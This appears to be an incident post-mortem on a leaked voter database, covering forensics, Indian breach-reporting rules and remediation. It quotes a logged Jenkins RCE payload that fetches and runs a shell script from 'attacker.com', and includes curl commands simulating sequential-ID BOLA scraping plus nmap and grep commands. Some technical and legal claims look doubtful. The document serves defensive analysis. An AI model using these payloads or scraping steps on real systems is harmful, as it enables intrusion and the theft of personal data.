During a routine perimeter scan of a sub-network assigned to a third-party vendor in Bengaluru, we identified an exposed MongoDB instance on port 27017. The instance was bound to 0.0.0.0 and lacked any authentication mechanism, exposing a database named voter_db_prod. Initial counts indicated 6.5 million records containing Electors Photo Identity Card (EPIC) numbers, mobile numbers, and partial Aadhaar data.
This post-mortem analyzes the technical failures that led to this exposure. We observed that the breach resulted from a combination of a Jenkins RCE (CVE-2019-1003000) used for initial access and a Broken Object Level Authorization (BOLA) vulnerability in the voter portal's API, a critical flaw often highlighted in the OWASP Top 10.
Understanding PII Data Breach Analysis: A Comprehensive Guide
PII data breach analysis is the systematic process of identifying what specific data points were accessed, by whom, and through which technical failure. In this 6.5M record leak, the PII was not just static text but structured JSON objects containing geographic coordinates of polling stations and household hierarchies. We categorize this as "Linked PII" because the combination of EPIC numbers and mobile numbers allows for identity theft and targeted phishing.
What is Personally Identifiable Information (PII)?
In the context of Indian infrastructure, PII includes more than just names and addresses. We identified the following data points in the leaked voter_db_prod.users collection:
- Full Name and Guardian's Name
- EPIC (Voter ID) Numbers
- Mobile Numbers (linked to the CoWIN and Aadhaar ecosystems)
- Date of Birth and Gender
- Assembly Constituency (AC) and Polling Station (PS) codes
- GPS coordinates of the registered residence
Defining the Scope of a PII Data Breach
The scope extends beyond the database itself. We found that the attacker utilized an Nginx DNS resolver vulnerability (CVE-2021-23017) to pivot from the public-facing web server to the internal database subnet. The scope of analysis must include the lateral movement logs and the egress traffic volume to estimate the total data exfiltrated.
The Role of Analysis in Incident Response
Analysis dictates the legal response under the Digital Personal Data Protection (DPDP) Act 2023. If the analysis shows that the data was encrypted at rest (AES-256) and the keys were not compromised, the risk assessment changes significantly. In this case, our analysis confirmed that the data was stored in plaintext, triggering immediate notification requirements to CERT-In.
The Critical Importance of Post-Breach Analysis
Post-breach analysis is the only way to determine if a backdoor remains in the environment. We discovered a persistent webshell hidden in the /var/www/html/assets/ directory, which survived the initial server reboot. Without deep forensic analysis, the attacker would have regained access within minutes of the service restoration.
Mitigating Financial and Reputational Damage
The financial impact in India is now governed by the DPDP Act 2023, where penalties can reach ₹250 crore for failing to take reasonable security safeguards. By conducting a thorough analysis, we can demonstrate "due diligence" to the Data Protection Board of India, potentially reducing the severity of the penalty.
Legal and Regulatory Compliance (GDPR, CCPA, HIPAA)
While the DPDP Act is the primary concern for Indian entities, any voter data containing Non-Resident Indian (NRI) information falls under GDPR. We had to cross-reference the 6.5M records against international IP addresses to determine if any EU citizens were affected, which would require a 72-hour notification to EU authorities.
Preventing Recurrence through Root Cause Identification
The root cause was a Jenkins CI/CD pipeline that automatically deployed code to production without running a security linting stage. To secure these environments, DevOps teams should utilize a browser based SSH client that integrates with identity providers rather than relying on static credentials stored in .env files.
Checking for exposed .env files on the target domain
$ curl -I http://api.voter-portal.in/.env HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 456
Step-by-Step PII Data Breach Analysis Process
Our analysis followed a four-step framework designed to minimize downtime while maximizing forensic evidence retention. We used dd to create bit-for-bit images of the affected cloud volumes before beginning the investigation.
Step 1: Incident Identification and Containment
We identified the breach when an automated Nmap scan detected an unauthorized MongoDB instance on a production IP. Containment involved immediate security group modification in the AWS console to restrict port 27017 to the application server's internal IP only.
Nmap scan that identified the open database
$ nmap -p 9200,27017,6379 --script http-title,http-enum 10.0.4.0/24 -oG - | grep '200 OK' Host: 10.0.4.15 () Ports: 27017/open/tcp//mongodb//MongoDB 4.2.8/
Step 2: Data Classification and Impact Assessment
We used a Python script to sample 1,000 records and classify them based on sensitivity. We found that 100% of the sampled records contained EPIC numbers, which are classified as "High Sensitivity" under our internal data governance policy.
import json
def classify_data(file_path): with open(file_path, 'r') as f: data = json.load(f) for record in data[:1000]: if 'epic_no' in record and 'mobile' in record: print(f"CRITICAL PII: Record {record['id']} contains linked identity data.")
classify_data('leaked_sample.json')
Step 3: Forensic Investigation of the Breach Vector
The primary vector was CVE-2019-1003000. The attacker sent a crafted GET request to the Jenkins /securityRealm/user/admin/descriptorByName/ endpoint, allowing for arbitrary Groovy script execution. This process of forensic reconstruction is similar to building a custom log parser for SSH brute force attacks to identify unauthorized access patterns.
Example of the Jenkins RCE exploit found in access logs
$ grep "descriptorByName" /var/log/jenkins/access.log 192.168.1.50 - - [12/Oct/2023:14:22:01] "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){'curl%20http://attacker.com/shell.sh|bash'.execute()}}" HTTP/1.1 200
Step 4: Quantifying the Volume of Exposed Records
To determine the exact number of records exfiltrated, we analyzed the MongoDB system.profile collection. The attacker ran a db.voters.find().toArray() command, which resulted in a massive spike in outbound network traffic.
Checking MongoDB profiling logs for mass data reads
$ mongo --host 10.0.4.15 --eval 'db.system.profile.find({op: "query", ns: "voter_db_prod.voters"}).sort({ts: -1}).limit(5)' { "op" : "query", "ns" : "voter_db_prod.voters", "command" : { "find" : "voters", "filter" : { } }, "nreturned" : 6500000, "responseLength" : 2147483648 }
Key Metrics and Indicators in Breach Analysis
Metrics provide the necessary data for the post-mortem report. We focus on temporal data and the depth of the compromise. In this case, the attacker had access for 14 days before detection. Implementing a dedicated SIEM for log monitoring would have significantly reduced this detection window by alerting on the anomalous egress traffic.
Time to Detect (TTD) vs. Time to Respond (TTR)
Our TTD was 336 hours (14 days). This is unacceptably high and was caused by a lack of egress monitoring on the database subnet. Once detected, our TTR was 45 minutes, which included the time to update the AWS Security Group and rotate all database credentials.
Sensitivity Levels of Compromised Data
We use a 3-tier sensitivity scale:
- Tier 1 (Public): Assembly Constituency names, Polling Station addresses.
- Tier 2 (Sensitive): Full Names, Age, Gender.
- Tier 3 (Highly Sensitive): EPIC numbers, Mobile numbers, GPS coordinates.
The 6.5M record leak was 98% Tier 3 data.
Attacker Attribution and Methodology
The attacker used commercial VPNs (NordVPN, Surfshark) to mask their origin. However, the methodology—specifically the use of automated scrapers for BOLA vulnerabilities—suggests a financially motivated threat actor rather than a state-sponsored group. The scraper targeted the API endpoint /v1/voter/details?id= and incremented the ID sequentially.
Simulating the BOLA attack discovered in logs
$ curl -I -X GET "http://api.voter-portal.in/v1/voter/details?id=1001" -H "X-Forwarded-For: 127.0.0.1" $ curl -I -X GET "http://api.voter-portal.in/v1/voter/details?id=1002" -H "X-Forwarded-For: 127.0.0.1"
Tools and Technologies for Analyzing PII Exposure
We utilized a mix of open-source and proprietary tools to reconstruct the attack timeline. The primary goal was to correlate web server logs with database queries.
Digital Forensics and Incident Response (DFIR) Software
We deployed Autopsy for disk image analysis and Volatility 3 for memory forensics on the Jenkins server. We found traces of the java.lang.Runtime.getRuntime().exec() call in the memory dump, confirming the Jenkins RCE was the initial entry point.
Data Loss Prevention (DLP) Log Analysis
Our DLP logs showed a 2.4 GB spike in egress traffic to an IP address in Eastern Europe. We used tcpdump to analyze the traffic patterns and confirmed it matched the structure of the MongoDB BSON format.
Automated PII Discovery and Mapping Tools
We used OpenDLP to scan the remaining servers in the environment for any other PII. This revealed that the /tmp directory on the application server contained temporary CSV files with voter data, which were not being cleared after export jobs.
Searching for PII in temporary directories
$ grep -rE "[A-Z]{3}[0-9]{7}" /tmp/ /tmp/export_7721.csv: ABC1234567,Rajesh Kumar,9845012345
Reporting and Notification Requirements
Reporting is a technical requirement, not just a legal one. The report must contain the indicators of compromise (IoCs) to help other departments block the same threat actor.
Drafting the Breach Analysis Report for Stakeholders
The report includes a technical summary for the CTO and a risk summary for the DPO (Data Protection Officer). We highlighted the failure of the "Security by Design" principle, as the MongoDB instance was deployed with a default configuration.
Critical misconfiguration identified in the post-mortem
storage: dbPath: /var/lib/mongodb journal: enabled: true net: port: 27017 bindIp: 0.0.0.0 # CRITICAL VULNERABILITY: Binding to all interfaces security: authorization: disabled # Common misconfiguration in rapid deployments
Determining Legal Notification Deadlines
Under the CERT-In advisory, cyber security incidents must be reported within 6 hours of identification. We filed the initial report at 15:30 IST, exactly 3 hours after the MongoDB instance was discovered.
Communicating Findings to Regulatory Bodies
The communication to the Data Protection Board included:
- Nature of the breach (Unauthorized access via RCE).
- Types of PII (EPIC, Mobile, Address).
- Containment measures taken (IP whitelisting, credential rotation).
- Number of affected data principals (6.5 million).
From Analysis to Action: Strengthening Your Security Posture
The final stage of the post-mortem is the remediation plan. We moved from a perimeter-based security model to a Zero Trust architecture.
Remediating Vulnerabilities Discovered During Analysis
We patched the Jenkins server to version 2.150.3, which resolves the Script Security plugin vulnerability. Additionally, we implemented rate-limiting on all API endpoints using Nginx's limit_req module to prevent future BOLA-based scraping.
Nginx configuration for rate limiting
http { limit_req_zone $binary_remote_addr zone=mylimit:10m rate=5r/s; server { location /api/v1/ { limit_req zone=mylimit burst=10; } } }
Implementing Zero Trust and Encryption Protocols
We implemented Mutual TLS (mTLS) for all service-to-service communication. The application server now requires a client certificate to talk to the MongoDB instance, making the "no-auth" vulnerability irrelevant even if the database is exposed.
Employee Training and Data Handling Best Practices
We identified that the third-party vendor's developers were using "Shadow IT"—personal DigitalOcean accounts—to test production database dumps. We have now mandated the use of the corporate AWS environment with mandatory AWS Macie scans for PII detection in S3 buckets.
Checking S3 bucket policy for public access
$ aws s3api get-bucket-policy-status --bucket voter-data-backups --no-sign-request { "PolicyStatus": { "IsPublic": true } }
The next technical step is to implement a Data Custodian model where no single service has full read access to the voter_db_prod. We are transitioning to a field-level encryption (FLE) approach where sensitive fields like epic_no are encrypted before they reach the database layer, using keys managed in AWS KMS.
Next Command: aws kms encrypt --key-id --plaintext fileb://sample_pii.txt